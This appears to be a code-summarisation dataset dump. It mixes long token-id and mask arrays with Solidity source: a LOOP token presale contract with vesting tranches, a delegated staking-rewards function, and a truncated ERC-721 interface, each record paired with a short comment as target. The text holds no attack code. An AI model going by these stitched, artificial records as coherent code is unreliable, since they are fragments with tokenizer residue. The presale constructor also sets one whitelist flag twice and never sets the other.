1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
801,
24530,
654,
39,
3462,
26896,
12,
4232,
39,
3462,
1147,
16,
2254,
3844,
262,
1338,
5541,
288,
203,
3639,
1147,
18,
13866,
12,
3410,
16,
3844,
11272,
203,
565,
289,
203,
203,
565,
871,
7807,
1429,
4193,
12,
2867,
8808,
2416,
4446,
16,
1758,
8808,
394,
4446,
1769,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Presale is AccessControl {
using SafeERC20 for IERC20;
struct SaleInfo {
uint256 stableTokenAmount; //Total allocation bought in stablecoins
uint256 loopTokenAmount; //Total bought LOOP tokens after IDO
uint256 claimedLoopTokenAmount; //Total claimed by user so far
uint8 nextVestingIndex; //Pointer to next claimable tranche
}
mapping(address => bool) public whitelists;
mapping(address => SaleInfo) public presaleList;
mapping(address => bool) public acceptTokens;
struct BuyHistory {
address buyerAddress;
address stablecoinAddress;
uint256 stableTokenAmount;
uint256 buyTime;
}
BuyHistory[] private buyHistory; // Buying history
bool private isPause;
uint8 public constant maxDecimals = 18;
address public immutable loopAddress;
struct SaleRules {
uint256 round2Multiplier;
uint256 fcfsMultiplier;
uint256 round2Minutes;
uint256 fcfsMinutes;
bool round2RequireWhitelist;
bool fcfsRequireWhitelist;
}
struct VestingTranche {
uint16 Percentage; //Percentage Vested in Basis points 10,000 = 100%
uint256 Date; //UNIX Timestamp of Vesting
}
SaleRules public saleRules;
VestingTranche[] public vestingSchedule;
uint256 public saleStartTime;
uint256 public saleEndTime;
uint256 public immutable tokenPrice;
uint256 public immutable allowedTokenAmount;
uint256 public soldToken;
uint256 public immutable presaleTokenAmount;
event TokenPurchased(address userAddress, uint256 purchasedAmount);
event TokenClaimed(address userAddress, uint256 purchasedAmount);
constructor(
address _loopAddress,
uint256 _saleStartTime,
uint256 _saleEndTime,
uint256 _tokenPrice,
uint256 _allowedTokenAmount,
SaleRules memory _saleRules,
VestingTranche[] memory _vestingSchedule,
address[] memory _acceptTokens,
uint256 _presaleTokenAmount
) {
require(_saleEndTime >= _saleStartTime);
require(_saleRules.round2Minutes >= 0);
require(_saleRules.fcfsMinutes >= 0);
require(_tokenPrice > 0);
require(_allowedTokenAmount >= 0);
require(_presaleTokenAmount >= 0);
require(_saleRules.round2Multiplier >= 1);
require(_saleRules.fcfsMultiplier >= 1);
require(_vestingSchedule.length > 0);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
saleRules.round2Minutes = _saleRules.round2Minutes;
saleRules.fcfsMinutes = _saleRules.fcfsMinutes;
saleRules.round2Multiplier = _saleRules.round2Multiplier;
saleRules.fcfsMultiplier = _saleRules.fcfsMultiplier;
saleRules.fcfsRequireWhitelist =_saleRules.fcfsRequireWhitelist;
saleRules.fcfsRequireWhitelist =_saleRules.fcfsRequireWhitelist;
//Assign vesting vesting schedule
for(uint i = 0; i < _vestingSchedule.length; i++) {
vestingSchedule.push(_vestingSchedule[i]);
}
require(checkVestingPercentage(_vestingSchedule), "Vesting percentages don't add up to 100%. Please make sure that values are in basis points");
require(checkVestingScheduleOrdered(_vestingSchedule), "Vesting schedule is not ordered from older to newest");
tokenPrice = _tokenPrice;
allowedTokenAmount = _allowedTokenAmount;
loopAddress = _loopAddress;
for (uint i = 0; i < _acceptTokens.length; i ++) {
acceptTokens[_acceptTokens[i]] = true;
}
presaleTokenAmount = _presaleTokenAmount;
soldToken = 0;
isPause = false;
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
modifier executable() {
require(!isPause, "Contract is paused");
_;
}
modifier checkEventTime() {
require(block.timestamp >= saleStartTime && block.timestamp <= saleEndTime, "Out of presale period");
_;
}
modifier checkAfterTime() {
require(block.timestamp > saleEndTime, "Presale not finished");
_;
}
function setStartTime(uint256 _saleStartTime) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
saleStartTime = _saleStartTime;
}
function setEndTime(uint256 _saleEndTime) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
saleEndTime = _saleEndTime;
}
function setSaleRules(SaleRules calldata _saleRules) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
saleRules = _saleRules;
}
function setRound2Multiplier(uint256 _round2Multiplier) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
saleRules.round2Multiplier = _round2Multiplier;
}
function setFCFSMultiplier(uint256 _fcfsMultiplier) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
saleRules.fcfsMultiplier = _fcfsMultiplier;
}
function setRound2Minutes(uint256 _round2Minutes) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
saleRules.round2Minutes = _round2Minutes;
}
function setFCFSMinutes(uint256 _fcfsMinutes) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
saleRules.fcfsMinutes = _fcfsMinutes;
}
function setRound2RequireWhitelist(bool _flag) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
saleRules.round2RequireWhitelist = _flag;
}
function setFCFSRequireWhitelist(bool _flag) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
saleRules.fcfsRequireWhitelist = _flag;
}
function getSoldToken() public view returns(uint) {
return soldToken;
}
function stopContract(bool _pause) external onlyRole(DEFAULT_ADMIN_ROLE) {
isPause = _pause;
}
function getPauseStatus() external view returns(bool) {
return isPause;
}
function addWhitelist(address _whiteAddress) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
whitelists[_whiteAddress] = true;
}
function removeWhitelist(address _whiteAddress) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
whitelists[_whiteAddress] = false;
}
function addWhitelists(address[] calldata _whiteAddresses) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
for (uint i = 0; i < _whiteAddresses.length; i++) {
whitelists[_whiteAddresses[i]] = true;
}
}
function removeWhitelists(address[] calldata _whiteAddresses) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
for (uint i = 0; i < _whiteAddresses.length; i++) {
whitelists[_whiteAddresses[i]] = false;
}
}
function addAcceptTokens(address _acceptTokenAddress) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
acceptTokens[_acceptTokenAddress] = true;
}
function removeAcceptTokens(address _acceptTokenAddress) external executable onlyRole(DEFAULT_ADMIN_ROLE) {
acceptTokens[_acceptTokenAddress] = false;
}
function buyToken(address _stableTokenAddress, uint256 _amount) external executable checkEventTime {
require(soldToken != presaleTokenAmount, "All Loop Tokens are sold out");
//Whitelist enforcement
if(block.timestamp < saleEndTime - saleRules.round2Minutes * 1 minutes) { //Round 1
require(whitelists[msg.sender] == true, "Not whitelist address"); //Enforce Whitelist
}
else if ((block.timestamp >= saleEndTime - saleRules.round2Minutes * 1 minutes) && (block.timestamp < saleEndTime - saleRules.fcfsMinutes * 1 minutes) && saleRules.round2RequireWhitelist) {
require(whitelists[msg.sender] == true, "Not whitelist address");
}
else if ((block.timestamp >= saleEndTime - saleRules.fcfsMinutes * 1 minutes) && saleRules.fcfsRequireWhitelist) {
require(whitelists[msg.sender] == true, "Not whitelist address");
}
//End Whitelist enforcement
require(acceptTokens[_stableTokenAddress] == true, "Not stableToken address");
SaleInfo storage saleInfo = presaleList[msg.sender];
uint8 tokenDecimal = ERC20(_stableTokenAddress).decimals();
uint256 tokenAmount = _amount;
if (tokenDecimal < maxDecimals) {
tokenAmount = tokenAmount * 10 ** (maxDecimals - tokenDecimal);
}
uint256 loopTokenAmount = tokenAmount / tokenPrice * 10 ** ERC20(loopAddress).decimals();
require(soldToken + loopTokenAmount <= presaleTokenAmount, "Cannot buy more LOOP tokens than amount up for presale");
if (block.timestamp < saleEndTime - saleRules.round2Minutes * 1 minutes) {
require(saleInfo.stableTokenAmount + tokenAmount <= allowedTokenAmount,
"Exceeding presale token limit during round1 period");
} else if ((block.timestamp >= saleEndTime - saleRules.round2Minutes * 1 minutes) && (block.timestamp < saleEndTime - saleRules.fcfsMinutes * 1 minutes)) {
require(saleInfo.stableTokenAmount + tokenAmount <= allowedTokenAmount * saleRules.round2Multiplier,
"Exceeding presale token limit during round2 period");
} else if (block.timestamp >= saleEndTime - saleRules.fcfsMinutes * 1 minutes) {
require(saleInfo.stableTokenAmount + tokenAmount <= allowedTokenAmount * saleRules.fcfsMultiplier,
"Exceeding presale token limit during FCFS period");
}
saleInfo.stableTokenAmount += tokenAmount;
saleInfo.loopTokenAmount += loopTokenAmount;
saleInfo.claimedLoopTokenAmount = 0;
saleInfo.nextVestingIndex = 0;
soldToken += loopTokenAmount;
IERC20(_stableTokenAddress).safeTransferFrom(msg.sender, address(this), _amount);
//Add Buy History
BuyHistory memory tempHistory;
tempHistory.buyerAddress = msg.sender;
tempHistory.stablecoinAddress = _stableTokenAddress;
tempHistory.stableTokenAmount = _amount;
tempHistory.buyTime = block.timestamp;
addBuyHistory(tempHistory);
emit TokenPurchased(msg.sender, loopTokenAmount);
}
/*
This function claims all vested tranches of Loop tokens
*/
function claimToken() external executable checkAfterTime {
SaleInfo storage saleInfo = presaleList[msg.sender];
require((saleInfo.loopTokenAmount - saleInfo.claimedLoopTokenAmount) > 0, "No claimToken amount");
require(block.timestamp >= vestingSchedule[saleInfo.nextVestingIndex].Date, "No tokens available for claim yet");
uint256 claimAmount = 0; //Amount claimable now
//Claim all eligible vesting tranches
while(block.timestamp >= vestingSchedule[saleInfo.nextVestingIndex].Date) {
claimAmount += (vestingSchedule[saleInfo.nextVestingIndex].Percentage * saleInfo.loopTokenAmount) / 10000;
saleInfo.nextVestingIndex++;
if(saleInfo.nextVestingIndex == vestingSchedule.length) {
break;
}
}
uint balance = IERC20(loopAddress).balanceOf(address(this));
require(balance > 0 && claimAmount <= balance, string(abi.encodePacked(Strings.toString(balance), abi.encodePacked("Insufficient balance for claim amount: ", Strings.toString(claimAmount)))));
saleInfo.claimedLoopTokenAmount += claimAmount;
IERC20(loopAddress).safeTransfer(msg.sender, claimAmount);
emit TokenClaimed(msg.sender, claimAmount);
}
function withdrawAllToken(address _withdrawAddress, address[] calldata _stableTokens) external executable onlyRole(DEFAULT_ADMIN_ROLE) checkAfterTime {
//Withdraw all unsold LOOP tokens
uint256 unsoldLoopTokenAmount = IERC20(loopAddress).balanceOf(address(this)) - soldToken;
if(unsoldLoopTokenAmount > 0) {
IERC20(loopAddress).safeTransfer(_withdrawAddress, unsoldLoopTokenAmount);
}
//Withdraw all stablecoins
for (uint i = 0; i < _stableTokens.length; i ++) {
uint stableTokenAmount = IERC20(_stableTokens[i]).balanceOf(address(this));
IERC20(_stableTokens[i]).safeTransfer(_withdrawAddress, stableTokenAmount);
}
}
function giveBackToken(address _withdrawAddress, address _tokenAddress) external executable onlyRole(DEFAULT_ADMIN_ROLE) checkAfterTime {
require(acceptTokens[_tokenAddress] == false, "Cannot withdraw pre-sale swap stablecoin tokens from presale using this function.");
require(loopAddress != _tokenAddress, "Cannot withdraw Loop tokens from presale using this function.");
uint tokenAmount = IERC20(_tokenAddress).balanceOf(address(this));
IERC20(_tokenAddress).safeTransfer(_withdrawAddress, tokenAmount);
}
function checkVestingPercentage(VestingTranche[] memory _vestingSchedule) pure private returns (bool vestingPercentageCorrect) {
vestingPercentageCorrect = false;
uint16 totalPercentage = 0;
for (uint i = 0; i < _vestingSchedule.length; i++)
{
totalPercentage += _vestingSchedule[i].Percentage;
}
if (totalPercentage == 10000) {
vestingPercentageCorrect = true;
}
}
function checkVestingScheduleOrdered(VestingTranche[] memory _vestingSchedule) pure private returns (bool vestingScheduleOrdered) {
vestingScheduleOrdered = true;
for (uint i = 0; i < _vestingSchedule.length - 1; i++)
{
if(_vestingSchedule[i].Date > _vestingSchedule[i+1].Date) {
vestingScheduleOrdered = false;
break;
}
}
return vestingScheduleOrdered;
}
/*
Allow Admin to modify vesting schedule. Checks to be made that there are no clashes
*/
function modifyVestingSchedule(VestingTranche[] memory _newVestingSchedule) onlyRole(DEFAULT_ADMIN_ROLE) external {
//Basic pre-checks on new vesting schedule
require(checkVestingPercentage(_newVestingSchedule), "Vesting percentages don't add up to 100%. Please make sure that values are in basis points");
require(checkVestingScheduleOrdered(_newVestingSchedule), "Vesting schedule is not ordered from older to newest");
//Check length of new vesting schedule vs old vesting schedule
VestingTranche[] memory oldVestingSchedule;
VestingTranche memory tranche;
oldVestingSchedule = vestingSchedule; //Copy
delete vestingSchedule; //Clear the vesting schedule
//Set new vesting parameters
for (uint i = 0; i < _newVestingSchedule.length; i++) {
if(i < oldVestingSchedule.length) { //Prevent addressing of invalid entries
if(oldVestingSchedule[i].Date < block.timestamp) {
//Copy old vesting values if tranches are in the past
tranche.Date = oldVestingSchedule[i].Date;
tranche.Percentage = oldVestingSchedule[i].Percentage;
}
else {
//Copy for anything where claims have not started
tranche.Date = _newVestingSchedule[i].Date;
tranche.Percentage = _newVestingSchedule[i].Percentage;
}
}
else { //Anything longer than old vesting schedule, we just copy
tranche.Date = _newVestingSchedule[i].Date;
tranche.Percentage = _newVestingSchedule[i].Percentage;
}
vestingSchedule.push(tranche);
}
//Basic checks on validity of vesting parameters
require(checkVestingPercentage(vestingSchedule), "User tried to modify earlier tranches of vesting schedule that created inconsistencies");
require(checkVestingScheduleOrdered(vestingSchedule), "User tried to modify earlier tranches of vesting schedule that created inconsistencies");
}
function addBuyHistory(BuyHistory memory _buyHistory) private {
buyHistory.push(_buyHistory);
}
function getBuyHistory() view external onlyRole(DEFAULT_ADMIN_ROLE) returns (BuyHistory[] memory bHistory) {
return buyHistory;
}
}
|
Prevent addressing of invalid entries
|
if(i < oldVestingSchedule.length) {
| 12,805,562 |
[
1,
25828,
1758,
310,
434,
2057,
3222,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
309,
12,
77,
411,
1592,
58,
10100,
6061,
18,
2469,
13,
288,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x2AE7b37AB144b5F8c803546b83e81ad297D8c2c4/sources/TokenRewards.sol
|
when apart of ecosystem, delegated is calledaccount for different token decimals places/denoms
|
function unstakeAndClaimDelegated(address onBehalfOf, address tokenAddress, address recipient) public onlyTier1 returns (uint256) {
require(stakingTokenWhitelist[tokenAddress] ==true, "The token you are staking is not whitelisted");
require(tokenDepositsDelegated[onBehalfOf][tokenAddress] > 0, "This user address does not have a staked balance for the token");
uint256 rewards = calculateRewards(depositBalancesDelegated[onBehalfOf][tokenAddress][0], block.timestamp, tokenDepositsDelegated[onBehalfOf][tokenAddress], tokenAPRs[tokenAddress]);
uint256 principalPlusRewards = tokenDepositsDelegated[onBehalfOf][tokenAddress].add(rewards);
ERC20 principalToken = ERC20(tokenAddress);
ERC20 rewardToken = ERC20(stakingTokensAddress);
uint256 principalTokenDecimals= principalToken.decimals();
uint256 rewardTokenDecimals = rewardToken.decimals();
if(principalTokenDecimals < rewardToken.decimals()){
uint256 decimalDiff = rewardTokenDecimals.sub(principalTokenDecimals);
rewards = rewards.mul(10**decimalDiff);
}
if(principalTokenDecimals > rewardTokenDecimals){
uint256 decimalDiff = principalTokenDecimals.sub(rewardTokenDecimals);
rewards = rewards.div(10**decimalDiff);
}
rewardToken.transfer(recipient, rewards);
tokenDepositsDelegated[onBehalfOf][tokenAddress] = 0;
depositBalancesDelegated[onBehalfOf][tokenAddress]= [block.timestamp, 0];
return rewards;
}
| 15,526,197 |
[
1,
13723,
513,
485,
434,
6557,
538,
1108,
16,
30055,
353,
2566,
4631,
364,
3775,
1147,
15105,
12576,
19,
13002,
25390,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
640,
334,
911,
1876,
9762,
15608,
690,
12,
2867,
603,
1919,
20222,
951,
16,
1758,
1147,
1887,
16,
1758,
8027,
13,
1071,
1338,
15671,
21,
1135,
261,
11890,
5034,
13,
288,
203,
203,
565,
2583,
12,
334,
6159,
1345,
18927,
63,
2316,
1887,
65,
422,
3767,
16,
315,
1986,
1147,
1846,
854,
384,
6159,
353,
486,
26944,
8863,
203,
203,
565,
2583,
12,
2316,
758,
917,
1282,
15608,
690,
63,
265,
1919,
20222,
951,
6362,
2316,
1887,
65,
405,
374,
16,
315,
2503,
729,
1758,
1552,
486,
1240,
279,
384,
9477,
11013,
364,
326,
1147,
8863,
203,
203,
565,
2254,
5034,
283,
6397,
273,
4604,
17631,
14727,
12,
323,
1724,
38,
26488,
15608,
690,
63,
265,
1919,
20222,
951,
6362,
2316,
1887,
6362,
20,
6487,
1203,
18,
5508,
16,
1147,
758,
917,
1282,
15608,
690,
63,
265,
1919,
20222,
951,
6362,
2316,
1887,
6487,
1147,
2203,
18880,
63,
2316,
1887,
19226,
203,
565,
2254,
5034,
8897,
13207,
17631,
14727,
273,
1147,
758,
917,
1282,
15608,
690,
63,
265,
1919,
20222,
951,
6362,
2316,
1887,
8009,
1289,
12,
266,
6397,
1769,
203,
203,
565,
4232,
39,
3462,
8897,
1345,
273,
4232,
39,
3462,
12,
2316,
1887,
1769,
203,
565,
4232,
39,
3462,
19890,
1345,
273,
4232,
39,
3462,
12,
334,
6159,
5157,
1887,
1769,
203,
203,
565,
2254,
5034,
8897,
1345,
31809,
33,
8897,
1345,
18,
31734,
5621,
203,
565,
2254,
5034,
19890,
1345,
31809,
273,
19890,
1345,
18,
31734,
5621,
203,
203,
565,
309,
12,
26138,
1345,
31809,
411,
19890,
1345,
18,
2
] |
pragma solidity ^0.4.24;
/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x80ac58cd.
interface ERC721 /* is ERC165 */ {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
/// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x780e9d63.
interface ERC721Enumerable /* is ERC721 */ {
